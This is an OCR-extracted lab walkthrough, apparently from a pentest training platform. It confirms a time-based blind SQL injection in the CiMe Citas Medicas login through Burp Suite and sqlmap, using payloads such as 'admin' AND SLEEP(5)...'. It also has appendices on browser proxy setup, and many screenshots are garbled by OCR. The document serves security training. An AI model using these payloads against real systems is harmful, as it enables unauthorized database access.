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Name CiMe Citas Medicas

URL https://www.attackdefense.com/challengedetails?cid=476

Type Real World Webapps : SQL Injection

Important Note: This document illustrates all the important steps required to complete this lab.
This is by no means a comprehensive step-by-step solution for this exercise. This is only
provided as a reference to various commands needed to complete this exercise and for your
further research on this topic. Also, note that the IP addresses and domain names might be
different in your lab.

Solution:
Step 1: Inspect the web application.

@ Control de citas médicas X +

« C @ Notsecure | agcqughdrgxifxcaxv8pclbz.public2.attackdefenselabs.com)/citasmedicas.php

T R =E==——n—,.,

Tontrol de Citas
T T ———r L Lo

Seguridad
Usuario no autenticado
Para acceder al demo:

usuario: admin
w password admin

Inicio | Citas

login ‘ |

Control de Citas
password ‘ ‘

Entrar

Version: 1.4

Inicio

Nueva Cita
Seguridad
Created By Carlos Arce - 2011
Salir Web Site

I
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https://www.attackdefense.com/challengedetails?cid=476

Step 2: Search on google “CiMe Citas Medicas sql injection” and look for publically available

@ Control de citas médicas

X G CiMe Citas Medicas sql injectior X +

8 https://www.google.com/search?q=CiMe +Citas+Medicas +sql+injection®&oq=CiMe + Citas+ Medicas +sql+injection&aqgs=chro

Go-::::-gle

CiMe Citas Medicas sql injection !, Q

Q Al B News [Jvideos [=images & Maps i More Setings  Tools

About 1,85,000 results (0.64 seconds)

CiMe Citas Médicas - Multiple Vulnerabilities - Exploit Database

https://www_ exploit-db_com/exploits/31350

Feb 3, 2014 - CiMe Citas Médicas - Multiple Vulnerabilities. ...
http://sourceforge.net/projects/cime/files/latest/download?source=directory
[1] SQL Injection ...

Web Application Exploits, PHP Exploits, ASP Exploits - Exploit Database
https:/iwww.exploit-db.com/webapps/?order_by=title&order=asc&pg=61

CiMe Citas Médicas - Multiple Vulnerabilities - PHP - vinicius777 ... Cisco
CallManager 4.2 /| CUCM 4.2 - Logon Page 'lang' SQL Injection - ASP -
anonymous.

1QID:9113 HTTP Citas Medicas (CiMe) Username SQL Injection ...
www.idappcom.com/db/?9113 ¥

idappcom security threat data and security rule for IQID:9113 CiMe (Citas
Médicas) contains a flaw that may allow carrying out an SQL injection
attack. The issue ...

The exploit db link contains the information about the vulnerable parameter.

Exploit DB Link: https://www.exploit-db.com/exploits/31350

B
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https://www.exploit-db.com/exploits/31350

@ Control de citas médicas X % CiMe Citas Médicas - Multiple V. X ey

“— c 8 https)//www.exploit-db.com/exploits/31350

CiMe Citas Médicas - Multiple Vulnerabilities

EDB-ID: CVE: Author: Type:

31350 VINICIUS777 WEBAPPS

EDB VERIFIED: expLom: ¥ 4 {}

# Exploit Title: Control de Citas 1.4 (CIME) - Multiple Vulnerabilities

# Date: @1/02/2014

# Exploit Author: vinicius777

# Contact: vinicius777 [AT] gmail / @vinicius777_

# Vendor Homepage: http://www.cgaredes.tk/

# Software Link: http://sourceforge.net/projects/cime/files/latest/download?source=directory

[1] SQL Injection - 'USERNAME' vulnerable to time based attack
Pa@C: POST REQUEST

POST /cime/citasmedicas.php?pag=citasmedindex HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.6 (X11; Linux i686; rv:22.8) Gecko/20100101 Firefox/22.0 Iceweasel/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%*;q=08.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://localhost/cime/citasmedicas.php?pag=citasmedindex

Cookie: PHPSESSID=ftkmsbmdqi3@39rd41felgm39s1;

Coannartinn: keen-aliva

Step 3: Enter any credentials in the login form, click “Entrar” and intercept the request with burp
suite.

Check Appendix to learn how to configure Burp Suite.
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Control de citas médicas X &% CiMe Citas Médicas - Multiple Vi X | +

« 2> X A Not secure| aqcqughdrgxlflecaxvBpclbz.publicd attackdefenselabs.com/citasmedicas.

Usuario no autenticado
Para acceder al demo:
usuario: admin

Control de Citas

password

Version: 1.4

Intercepted Request:

Burp Suite Community Edition v1.7.36 - Temporary Project
Burp Intruder Repeater Window Help

password admin

login |admin

LI L LYY

[Target Lﬁmﬂl Spider I Scanner ]h’ﬂruder l Repeater ] Sequencer [ Decoder IICOITID&IET [ Estender l Project options l.User options ]Alerts l

[inteseept | HTTP history | WebSockets history | Options |

[Z Request to hitp agequghdraxifieaxvBpclbz public2 altackdefenselabs.com:80 [45.79.131.74]

I Forward ][ Drop |

@I Params | Headers | Hex

| Action |

POST /ecitasmedicas.php?pag=citasmedindex HTTP/1.1

Host: agogughdrgxlfixcgxvBpolbz. publicl, attackdefenselabs. com

Content-Length: 32
Cache-Control: max-age=0

Origin: http://agcgughdrgxlfkxcgxvBpclbz. publicZ. attackdefenselabs. com

Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-Fform-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0: Win&d4; x64)

AppleWsbKit/5337.36 (KHTML,

Chrome/75.0.3770.90 safari/537.36

Aceept: text/html,application/xhtmliwml, applicatien/wml;:g=0.9, imags/webp, inage/apng, */*;g=0. 8, applicaticn/eigned-exchange;v=b3

Referer: http://fagegqughdrgxlfkxequvBpelbz. public?. attackdefenselabs. com/citasmedicas. php

Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.89

Cookie: PHPSESSID=8BulSmrlphpucd4ivgnk525gn53
Ccsnr‘,(—'-'c.‘L'chr'.: {'-'](JHE'

username=adminépassword=password
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Copy the request and save it in a file named “request”.

Command: cat request

root@PentesterAcademyLab:~# cat request

POST /citasmedicas.php?pag=citasmedindex HTTP/1.1

Host: agcqugh4rgxlfkxcgxv8pclbz.public2.attackdefenselabs.com
Content-Length: 32

Cache-Control: max-age=0

Origin: http://aqcqugh4rgxlfkxcgxv8pclbz.public2.attackdefenselabs.com
Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/53

7.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;

v=b3

Referer: http://aqcqugh4rgxlfkxcgxv8pclbz.public2.attackdefenselabs.com/citasmedicas.php

Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

Cookie: PHPSESSID=88ul9mrlphpuo4ivgnk525qn53
Connection: close

username=admin&password=password
root@PentesterAcademyLab:-#

Step 4: Find the payload using sqlmap.

Vulnerable parameter: username

Command: sqglmap -r request -p username

Enter the following answers when asked for questions.

y” for “Do you want to skip test payloads specific for other DBMSes?”

values?”
“n” for “Do you want to keep testing the others (if any)?”
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root@PentesterAcademyLab:-# sqlmap -r request -p username

1.2.3#stable

[1] legal disclaimer: Usage of sglmap for attacking targets without prior mutual consent is illegal. It is the end user's
responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsibl
e for any misuse or damage caused by this program

[*] starting at 00:58:49

[00:58:49] [INFO] parsing HTTP request from 'request'

[00:58:49] [INFO] testing connection to the target URL

[60:58:50] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[00:58:50] [INFO] testing if the target URL content is stable

[60:58:51] [INFO] target URL content is stable

[00:58:51] [INFO] heuristic (XSS) test shows that POST parameter 'username' might be vulnerable to cross-site scripting (X
SS) attacks

[00:58:51] [INFO] testing for SQL injection on POST parameter 'username'’

[00:58:51] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[00:58:52] [WARNING] reflective value(s) found and filtering out

[00:58:55] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace’

[60:58:55] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'

[00:58:57] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'

[00:59:01] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'

[00:59:06] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[00:59:10] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[60:59:10] [INFO] testing 'MySQL inline queries'
[60:59:11] [INFO] testing 'PostgreSQL inline queries'
[00:59:11] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[60:59:11] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[00:59:13] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[00:59:15] [INFO] testing 'Oracle stacked queries (DBMS PIPE.RECEIVE MESSAGE - comment)'
[00:59:17] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind’
[00:59:28] [INFO] POST parameter 'username' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y
/nly
[00:59:37] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[00:59:37] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other
(potential) technique found
[00:59:43] [INFO] checking if the injection point on POST parameter 'username' is a false positive
POST parameter ‘username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 90 HTTP(s) requests:
Parameter: username (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: username=admin' AND SLEEP(5) AND 'nGdY'='nGdY&password=password
[01:00:05] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 13.04 or 12.04 or 12.10 (Raring Ringtail or Precise Pangolin or Quantal Quetzal)
web application technology: PHP 5.3.1@, Apache 2.2.22
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back-end DBMS: MySQL >= 5.0.12
[01:00:05] [INFO] fetched data logged to text files under '/root/.sqlmap/output/agcqughd4rgxlfkxcqxv8pclbz.public2.attackde
fenselabs.com'

[*] shutting down at 01:00:05

root@PentesterAcademyLab: -#

Payload: username=admin' AND SLEEP(5) AND 'nGdY'='nGdY &password=password

Step 5: Send the intercepted request to Repeater.

Right click on the intercepted request and select the option “Send to Repeater”, the same can
be achieved by pressing “CTRL+R”.

Burp Suite Community Edition v1.7.36 - Temporary Project
Burp Intruder Repeater Window Help

[Target T Prmgy] Spider I Scanner Ilntruder I Repeater I Sequencer I Decoder I Comparer I Extender I Project options I User options IAlerls ]

[ untescept | HTTP history | WebSockets history | Options |

[ZJ Request to hitp://agcqugh4rgxifkxcarv8pclbz public2 attackdefenselabs.com:80 [45.79.131.74]

[ Forward J [ Drop J [Ir_-ltercept'_ison ] [ Action

jﬂﬂwI Params T Headers I Hex ]

POST /citasmedicas.php?pag=citasmedindex HTTP/1.1

Host: agequghd4rgxlfkxequvBpelbz. publicl. attackdefenselabs. com
Content-Length: 32

Cache-Control: maxz—-age=0

Origin: http://aqoquaghdrgzlfkxzcgevipolbz. publicl. attackdefenselabs. com
Upgrade-Insecure-Requests: 1

Content-Type: application/xz-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.377
Accept: text/html,application/xzhtml+xml, application/xml;q=0.9, image/webp, image/apng, */*;q=0.8, application/si
Referer: http://agoquahdrgxlfkxogzvipelbz. publicl. attackdefenselabs. com/ citasmedicas. php

Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;qg=0.9 Send to Spider
Cooklie: PHPSESSID=88ul9mrlphpucdivgnk525qny Do an active scan

Sngnestiany Blone Send to Infruder Ctrl+
Send to Repeater

Send to Sequencer

Send to Comparer

Send to Decoder

Request in browser >

username=adminspassword=password

Engagement tools [Pro version only] >
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Repeater Tab:

[Targe! T Proxy ]Spmer ] Scanner ] Intruder IM\I Sequencer [ Decoder I Comparer I Exlendell Project options I User options IAJerls }

Jiwl |

Go Gancel <|» >\ Target:

public2. com 7 _7

Request Response
jmT Params THeaders I Hex ] _\Mw_ i
POST /citasmedicas.php?pag=citasmedindex HTTR/1l.1 % | 0

1 FkxcaxvBpelbz, public?. sttackdefenselabs. com r P

ge=0
jughdrgxlfkxcqxvEpclbz. public?. attackdefenselabs. com

Reguests: 1
Content-Type: application/z-www-form-urlencoded
User-Agent: Mezilla/5. ndows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/75.0.377 fari/537.36

yapplication/xhtmi+xml, application/xml;qg=0.9, image/webp, inage/apng, */*;q=0.8,appli
cation/signed-exchange; w=b3
Referer: hetp://agequehdrgxlfkxcqxvBpolbz, publicl. attackdefenselabs. con/citasnedicas. php
Accept-Encodi e
Accept-Lang g
Cookie: PHPSES puo4ivgnk525gn53
Connection: close
username=admingpassword=password
Step 6: Send the original request and check the response time.
Request section in the Repeater tab.
Go Cancel <|v > |
Request
JMI Params [ Headers [ Hex }
POST /citasmedicas.php?pag=citasmedindex HTTPR/1.1 A
-

Host: agoqughd4rgxlfkxegevipolbz. publicZ. attackdefenselabs. com

Content-Length: 32

Cache-Control: max-age=0

Origin: http://aqecqughdrgxlfkzcquvipelbz. publicl. attackdefenselabs. com
Upgrade-Insecure—-Recquests: 1

Content-Type: application/xz-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x=64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/75.0.3770.90 safari/537.36

Accept:

text/html, application/xhtml+xzml, application/x=ml;q=0.9, image/webp, image/apng, */*;

.8,application/signed-exchange; v=h3

Referer:
http://agequghdrgxlfkzegxvipolbz. publicl. attackdefenselabs. con/citasmedicas. php
Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;g=0.0

Cookie: PHPSESSID=88ul9mrlphpucd4ivgnk525qn53

Connection: close

username=admin&password=password
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Response section in the Repeater tab.

Response
j.Rau;.:] Headers T Hex 1

HTTP/1l.1 200 CK

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Length: 8201

Content-Type: text/html

Date: Tue, 18 Jun 2019 05:40:05 GMT
Expires: Thu, 19 Nowv 1981 08:5Z:00 GMT
Pragma: no-cache

Server: Apache/Z.Z2.2Z2 (Ubuntu)

Vary: Accept-Encoding

¥-Powered-By: PHE/S5.3.10-lubuntu3.Zé
Connection: close

consulta: SELECT “password’' as password
FROM ‘usuarios” WHERE " login ='admin'<!DOCTYPE HTML PUBLIC "-//W3C//DTD
HTML 4.01 Transitional//EN">
<html>
<head>
<title>Control de citas médicas</title>
<meta http-ecquiv="Content-Type" content="text/html; charset=utf-8">
<link href="cgs/citasmedicas.cgs" rel="stylesheet" type="text/css">

@l== «lank ‘hret=test auth:php" rev=laetfe ——»

<gcript language="JavaScript" type="text/JavaScript">

S

function MM findobj(n, d) { //v4.01
var p,i,x; if(!d) d=document; if((p=n.index0f("?"))>0&&parent.frames.length) {

d=parent . frames [n. substring(p+1)].document; n=n.substring(0,p) }

if(! (x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i] [n];
for(i=0;!x&&d.layers&&i<d. layers. length;i++) x-MM findObj(n,d.layers[i].document)
if(!x && d.getElementById) x=d.getElementById(n), return x;

}

function MM showHideLayers() { JS/v6.0
var i,p,v,obj,args=MM showHideLayers.arguments;
for (i=0; i<(args.length-2); i+=3) if ((obj=MM findObj(args([i]))!=null) { v=args[i+2];
if (obj.stvle) { obj=obj.style; v=(v=="show')? 'visible': (v=="hide")? 'hidden':v; }
obj.visibility=v, }
1

l-q|

[«F

| —(— Type a search term 0 matches

6,553 bytes | 267 millis

It took 267 ms to receive the response. (The time is displayed on the right bottom corner)
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Step 7: Inject the time based payload in POST data and check the response time.

Before: username=admin&password=password

After: username=admin' AND SLEEP(5) AND 'nGdY'='nGdY &password=password
Request section in the Repeater tab:

| @Go | cancel - >|*

Request
A[RawT Params [ Headers T Hex }

POST /citasmedicas. php?pag=citasmedindex HTTP/1.1

Host: ageoqguaghdrgzlfkzegevBpolbz. publicl. attackdefenselabs. com
Content-Length: 32

Cache-Control: max-age=0

Origin: http://ageoquoghdrgxlfkxcguvBpolbz. publicl. attackdefenselabs. com
Upgrade-Insecure—-Recquests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; =64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/75.0.3770.90 gafari/537.36

Accept:

text/html, application/=html+xml, application/=ml;q=0.9, image/webp, image/apng, */*;q=0

.B,application/signed-exchange; v=h3

Referer:

http://agequaghdrgxl fkxeqevBpelbz. public?. attackdefenselabs. con/citasnedicas. php
Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;g=0.9

Cookle: PHPSESSID=8B8ulSmrlphpucdivgnk5Z5qn53

Connection: close

username=admin' AWND SLEEF (5) AND "nGdY'='nGdY&password=password

Response section in the Repeater tab:
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Response

j; a _IHeaders THeﬂ
HTTP/1.1 200 OK L
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Length: 6Z3C

Content-Type: text/html

Date: Tue, 18 Jun 2019 05:46:25 GMT

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Pragma: no-cache

Server: Apache/2.2.22 (Ubuntu)

Vary: Accept-Encoding

¥-Powered-By: PHP/5.3.10-lubuntu3.Za

Connection: close

consulta: SEIECT “password' as password
FROM “usuarios’® WHERE ’login '="admin' AND SLEEP(5) AND
'"nedY"="nGdY "< !DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Control de citas médicas</title>
<meta http-squiv="Content-Type" content="text/html; charset=utf-8">
<link href="css/citasmedicas.css"” rel="stylesheet" type="text/css">

<!—— <link href="test auth.php" rev="act"> -->

<script language="JavaScript" type="text/JavaScript">

<l ==

function MM findObj(n, d) { //v4.01
var p,i,x; if(!d) d=document; if((p=n.indexO0f("?"))>0&&parent. frames. length) {

d=parent. frames [n. substring(p+1)].document; n=n.substring(0,p); }

if(! (x=d[n])&&d.all) x=d.allln], for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i] [n],
for(i=0;!x&&d. layers&&i<d. layers. length,; i++) x=MM_find0bj(n,d.layers[i].document);
if(!x && d.getElementById) x=d.getElementById(n), return x;

}

function MM showHideLavers() { //v6.0
var i,p,v,ob]j,args=MM showHideLayers.arguments
for (i=0; i<(args.length-2), i+=3) if ((obj=M¥_find0bj(args[i]))!=null) { v=args[i+2];
if (obj.style) { obj=obj.style, v=(v=='show')?'visible': (v=="hide')? 'hidden':v; }
obj.visibility=v,; }

-
b

1 5
.T- i [ni sl ITypea search term 0 matches
(2 o [ 2 |

6,584 bytes | 5,285 millis

The injected time based SQLI payload was executed and the response was received with 5
second delay.
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Step 8: Increase the sleep time in payload to 10 and check the response time.

Before: username=admin' AND SLEEP(5) AND 'nGdY'='nGdY &password=password
After: username=admin' AND SLEEP(10) AND 'nGdY'='nGdY &password=password
Request section in the Repeater tab:

Go || cancel [ <|¥ > |v

Request
_[_@:.ﬂ Params I Headers T Hex }

POST /citasmedicas.php?pag=citasmedindex HTITE/1.1

Host: aqgoquehdrgzlfkxcgxvBpcelbz. publicl. attackdefenselabs. com

Content-Length: &4

Cache-Control: max-age=0

Origin: http://agequaghdrgzlfhxeguvBpelbz. publicl. attackdefenselabs. com
Upgrade-Insecure-Requests: 1

Content-Type: application/xz-www-form-urlencoded

Ugser-Agent: Mozilla/5.0 (Windows NT 10.0; Wing64; =x=E4) AppleWebhEit/537.36 (KHTML,
like Gecko) Chrome/75.0.3770.90 Safari/537.36

Accept:

text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, image,/apng, */*; q=0

.B,application/signed-exchanges; v=b3

FReferer:

http: //agqegquaghdrgxl fxegqevipelbz. publicl. attackdefenselabs. com/citasmedicas. php
Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;qg=0.5

Cookie: PHPSESSID=8Bulfmrlphpuocdivgnk525qn53

Connection: close

username=admin' AND SLEEP(lUb AND "nedY'="nedY&epassword=spassword

Response section in the Repeater tab:
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Response

jRawT Headers THex 1

HTTP/1.1 200 CK

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Length: &Z33

Content-Type: text/html

Date: Tue, 18 Jun 2019 05:49:09 GMT
Explres: Thu, 19 Nowv 1981 0B:5Z:00 GMT
Pragma: no-cache

Server: Apache/Z.Z.ZZ (Ubuntu)

Vary: Accept-Encoding

¥-Powered-By: PHP/5.3.10-lubuntu3.Z&
Connection: close

consulta: SELECT “password’™ as password
FROM “usuarios’™ WHERE ~login'='admin' AND SLEEP(10) AND
'nGdY'="nGdY"'<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0l Transitional//EN">
<html>
<head>
<title>Control de citas médicas</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<link href="csz/citasmedicas.css" rel="stylesheet" type="text/css">

<!-— <link href="test auth.php" rev="act"> —->

<gcript language="JavaScript" type="text/JavaScript">

<l --

function MM findobj(n, d) { //v4.01
var p,i,x; 1if(!d) d=document; if((p=n.index0f("?"))>0&&parent. frames. length) {

d=parent. frames [n. substring(p+1)].document,; n=n.substring(0,p) }

if(! (x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i] [n],
for(i=0;!x&&d. layers&&i<d. layers. length,;i++) x=MM_find0bj(n,d.layers[i].document);
if(!x && d.getElementById) x=d.getElementById(n), return x;,

}

function MM showHideLayers() { //v6.0
var i,p,v,obj,args=MM showHideLayers.arguments;
for (i=0; i§(args.len§th—2); i+=3) if ((obj=MM findObj(args[i]))!=null) { v=args[i+2];,
if (obj.style) { obj=obj.style;, v=(v=='show'7?'visible':(v=='hide')?'hidden':v; }
obj.visibility=v; }
1

[«F

@ EJ EJ EJ Type a search term 0 matches

6,585 bytes | 10,277 millis

The response was received with 10 second delay.
References:

1. CiMe - Citas Médicas (https://sourceforge.net/projects/cime/)

2. CiMe Citas Médicas - Multiple Vulnerabilities
(https://www.exploit-db.com/exploits/31350)

3. Sqlmap (http://sglmap.org/)
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Appendix

Appendix A: Configuration for Windows OS
A.1 Google Chrome with Burp Suite
A.2 Mozilla Firefox with Burp Suite

Appendix B: Configuration for Kali OS
B.1 Google Chrome with Burp Suite
B.2 Mozilla Firefox with Burp Suite

Appendix C: Configuration for FoxyProxy Standard plugin
C.1 FoxyProxy on Google Chrome with Burp Suite
C.2 FoxyProxy on Mozilla Firefox with Burp Suite
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Appendix A
A.1 Google Chrome with Burp Suite (Windows OS)
Step 1: Open Google Chrome and navigate to the URL given below.

URL: chrome://settings

People

Get Google smarts in Chrome
Sync and personalize Chrome across your devices

Sync and Google services
Chrome name and picture

Import bookmarks and settings

Autofill
©r Passwords
B Payment methods

Q@  Addresses and more

Google Chrome Settings page will appear.

Step 2: Search for “proxy” in the search box.

©PentesterAcademy.com
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& Settings x qe

€ =2 C & Chrome | chrome://settings/?search=proxy

= Settings Q. proxy [x]
System

Continue running background apps when Google Chrome is closed @

Use hardware acceleration when available @

2]

Open proxy settings

Step 3: Upon clicking on “Open proxy settings”, Windows “Internet Properties” settings dialog
box will appear. Click on “LAN settings” button.

© Pe ntESte rAcadem\/.Com www.attackdefense.com




i?‘ Internet Properties

if Pt

General Security Privacy Content Connections Programs  Advanced

To set up an Internet connection, dick Setup

Setup.

Dial-up and Virtual Private Network settings

Choose Settings if you need to configure a proxy
server for & connection.

Local Area Metwork (LAN) settings

Add...

Remaove...

Settings

LAN Settings do not apply to dial-up connections. LL.&N settings

Choose Settings above for dial-up settings.

. ok || Cancel

|| Apply

Step 4: Select the checkbox “Use a proxy server for your LAN (These settings will not apply to
dial-up or VPN connections)”. And enter “127.0.0.1” and “8080” in “Address” textbox and “Port”

textbox respectively.
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&% Local Area Network (LAN) Settings >

Automatic configuration

Automatic configuration may override manual settings. To ensure the
use of manual settings, disable automatic configuration.

[ ] Automatically detect settings
|:| IUse automatic configuration script

Address

Proxy server

;i_.lse a proxy server for your LAMN (These settings will not apply to
dial-up or VPN connections).

Click “OK” on the “Local Area Network (LAN) Settings” dialog box and close the “Internet
Properties” dialog box.

Step 5: Start Burp suite.

‘] Burp Suite Community Edition v1.7.36 - Temporary Project
Burp Intruder Repeater Window Help

JTW] Erom. T Spidor I S ] Intruder l Repeater T Sequencer I Decoder { Comparer T Extender 1 Project options I User options ] Alerts |
Jslktnm] Scope |

Filter: Hiding not found items, hiding CSS, image and general binary content, hiding 4xx responses, hiding emply folders

Host |Method | URL F

Step 6: Navigate to “Options” tab under “Proxy” tab and verify that the “running” checkbox is
selected for the interface “127.0.0.1:8080".
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Burp Suite Community Edition v1.7.36 - Temporary Project
Burp Intruder Repeater Window Help

[Target L&nn[.,] Spider I Scanner ] ImmderT Repeater I Sequencer [ Decoder ] Comparer [ Extender l Project options .]-Useruplinm.l Alerts I
[ Intercept ] HTTP history l WebSockets history Im,]

i] Proxy Listeners

\EJ Burp Proxy uses listeners to receive incoming HTTP requests from your browser. You will need to configure your browser to use one of the listeners ¢

| Add | |Running |Interface \Isible  Redirect | Certificate
=== o] 127.0.0.1:8080 Per-host
Edit
— L d
Remove |

Each installation of Burp generates its own CA cerlificate that Proxy listeners can use when negoliating SSL conneclions. You can import or export t

| Import/ export CA certificate | | Regenerate CA cerfificate |

All the HTTP request made by Google Chrome will be intercepted by Burp Suite.

A.2 Mozilla Firefox with burp suite (Windows OS)

Step 1: Open Mozilla Firefox and navigate to the URL given below.
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URL: about:preferences

*I-Dp‘t'mns
> ¢

¥ General

1@ Home

Q Search

& Privacy & security

s Sync

& Extensions & Themes

@ FEirefox Su ppeort

©J Firefox  about:preferences

General

Startup
| Restore previous session
Warmn you when quitting the browser
| Always check if Firefox is your default browser

& Firefox is not your default browser

Tabs
/| Crl+Tab cycles through tabs in recently used order
Z| Open links in tabs instead of new windows
|| Warn you when closing multiple tabs
| When you open a link in a new tab, switch to it immediately

i| Show tab previews in the Windows taskbar

Language and Appearance

Fonts and Colors

Default font  Default (Times New Roman) >  Size

Language

| o |- nd in Optichs |

Make Default...

- Advanced...

Colors...

Choose the languages used to display menus, messages, and notifications from Firefox.

English (United States) -

Choose your preferred language for displaying pages

Set Alternatives...

Choose...

Step 2: Scroll down to the bottom of the page and click on “Settings” button under “Network

Settings” section.
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'n' Options

| (— = @ & © Firefox  aboutpreferences#general
| 0 Find in Options |
-;:} General (. _ Check for updates but let you choose to install them
Q Home @ This setting will apply to all Windows accounts and Firefox profiles using this installation of
Firefox.

Q Search

n Privacy & Security

|Z| Use a background service to install updates

IZ| Automatically update search engines

S Sync
Performance
|Z| Use recommended performance settings Learn maore
These settings are tailored to your computer's hardware and operating system.
Browsing
|Z| Use autoscrolling
|Z| Use smooth scrolling
|E Show a touch keyboard when necessary
|:| Always use the cursor keys to navigate within pages
|:| Search for text when you start typing
|Z| Recommend extensions as you browse Learn more
|Z| Recommend features as you browse Learn more
Network Settings
#  Extensions & Themes Configure how Firefox connects to the internet. Learn more Settings...

@  Firefox Support

Step 3: Enter “127.0.0.1” and “8080” in “HTTP Proxy” textbox and “Port” textbox respectively.
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Connection Settings

Configure Proxy Access to the Internet
(' No proxy

'-,_::f' Auto-detect proxy settings for this network

f Use system proxy settings

\l %Manual proxy configuration

HTTP Prog‘ 127.0.0.1

o] 00|

|j Use this proxy server for all protocols

55L Proxy ‘

e[ o]

ETP Proxy|

s 0]

SOCKS Host‘

on o)

() SOCKSv4 (@) SOCKS w5

-it::} Automatic proxy configuration URL

No proxy for

Example: .mozilla.org, .net.nz, 192.168.1.0/24

|:| Do not prompt for authentication if password is saved
|:| Proxy DNS when using SOCKS v5
[ ] Enable DNS over HTTPS
/.,' Use default (https://mozilla.cloudflare-dns.com/dns-query)

Custom

0K

Click on the OK button.

Step 4: Start Burp suite.
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'] Burp Suite Community Edition v1.7.36 - Temporary Project
Burp Intruder Repeater Window Help

LI%] Proxy T Spider T Scanner ] Intruder I Repeater I Sequencer I Decoder [ Comparer T Extender ] Project options I User options ] Alerts |

 Site map | Scope

Filter: Hiding not found items,; hiding CSS, image and general binary content;, hiding 4xx responses, hiding emply folders
Host |Method | URL F

Step 5: Navigate to “Options” tab under “Proxy” tab and verify that the “running” checkbox is
selected for the interface “127.0.0.1:8080".

.! Burp Swite Community Edition v1.7.36 - Temporary Project
Burp Intruder Repeater Window Help

[Target [ngy] Spider I Scanner ] Intruderll Repeater 1 Sequencer [ Decoder l Comparer [ Extender l Project options ].User uplimsJ Alerts l

[ Intercept ] HTTP history ] WebSockets history Lm,]

i] Proxy Listeners
\EJ Burp Proxy uses listeners to receive incoming HT TP requests from your browser You will need to configure your browser to use one of the listeners &

| Add | Running | Interface | Invisible Redirect | Certificate
] &) 127.0.0.1:8080 Per-host
Edit
FI— [ J
Remove |

Each installation of Burp generates its own CA cerlificate that Proxy listeners can use when negoliating SSL conneclions. You can import or export #

| Import/ export CA certificate | | Regenerale CA cerlificate |

All the HTTP request made by Mozilla Firefox will be intercepted by Burp Suite.
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Appendix B
B.1 Google Chrome with Burp Suite (Kali OS)
Step 1: Open Google Chrome and navigate to the URL given below.

URL: chrome://settings

J £ Settings x { +

€ > C ® Chrome | chrome:/settings

= Settings

People

Get Google smarts in Chrome
Sync and personalize Chrome across your devices

Sync and Google services
Chrome name and picture

Import bookmarks and settings

Autofill
Or Passwords
B Payment methods

Q@  Addresses and more

Google Chrome Settings page will appear.

Step 2: Search for “proxy” in the search box.

Turn on sync

»

I
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R Settings X \ =+

« > C & Chrome chrome://settings/?search=proxy

= Settings

Q  proxy [ x]

System

Continue running background apps when Google Chrome is closed

Use hardware acceleration when available

Open proxy settings 4

Step 3: Upon clicking on “Open proxy settings”, The “Networks” settings window will appear.
Click on Network Proxy option.

Q| Settings
= Wi-Fi

3 Bluetooth

[E]

Background

Notifications

Search
Region & Language
Universal Access

